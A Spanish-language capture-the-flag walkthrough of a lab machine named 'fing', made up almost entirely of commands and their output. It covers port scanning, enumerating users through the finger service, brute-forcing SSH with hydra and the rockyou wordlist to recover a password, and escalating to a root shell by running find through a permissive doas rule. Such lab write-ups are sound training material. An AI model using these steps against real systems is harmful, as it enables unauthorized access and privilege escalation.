Enumeramos puertos:
❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.144❯ nmap -sCV -p22,79,80 -oN 02-targeted.txt 192.168.1.144
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-21 16:20 -04
Nmap scan report for 192.168.1.144
Host is up (0.00024s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
79/tcp open finger Linux fingerd
|_finger: No one logged on.\x0D
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.51 secondsLa máquina expone el servicio finger (puerto 79), que históricamente permite enumerar usuarios del sistema. Usamos el script de pentestmonkey/finger-user-enum para descubrir cuentas válidas:
❯ ./finger-user-enum.pl -U ~/Documentos/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt -t 192.168.1.144
...
root@192.168.1.144: Login: root
adam@192.168.1.144: Login: adam
...Con el usuario adam realizamos un ataque de fuerza bruta contra SSH:
❯ hydra -l adam -P ~/Documentos/wordlists/rockyou.txt 192.168.1.144 ssh -t 64
...
[22][ssh] host: 192.168.1.144 login: adam password: passion
...Nos conectamos con adam:passion y obtenemos la primera flag:
❯ ssh adam@192.168.1.144
adam@192.168.1.144's password: passion
Linux fing 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
Last login: Sun Apr 23 13:21:44 2023 from 192.168.1.10
adam@fing:~$Para escalar privilegios, buscamos binarios con el bit SUID y encontramos doas:
adam@fing:/tmp$ find / -perm -4000 2>/dev/null
...
/usr/bin/doas
...Revisamos la configuración de doas (el equivalente minimalista de sudo en OpenBSD/Debian):
adam@fing:/tmp$ cat /etc/doas.conf
permit nopass keepenv adam as root cmd /usr/bin/findadam puede ejecutar find como root sin contraseña. Primero usamos find con -exec para leer directamente la flag de root:
adam@fing:/tmp$ doas -u root /usr/bin/find /root -name root.txt -exec cat {} +
[redacted]Y, con la misma técnica, abusamos de find para obtener una shell de root con -p:
adam@fing:/tmp$ doas -u root /usr/bin/find . -exec /bin/bash -p \; -quit
root@fing:/tmp#Fin.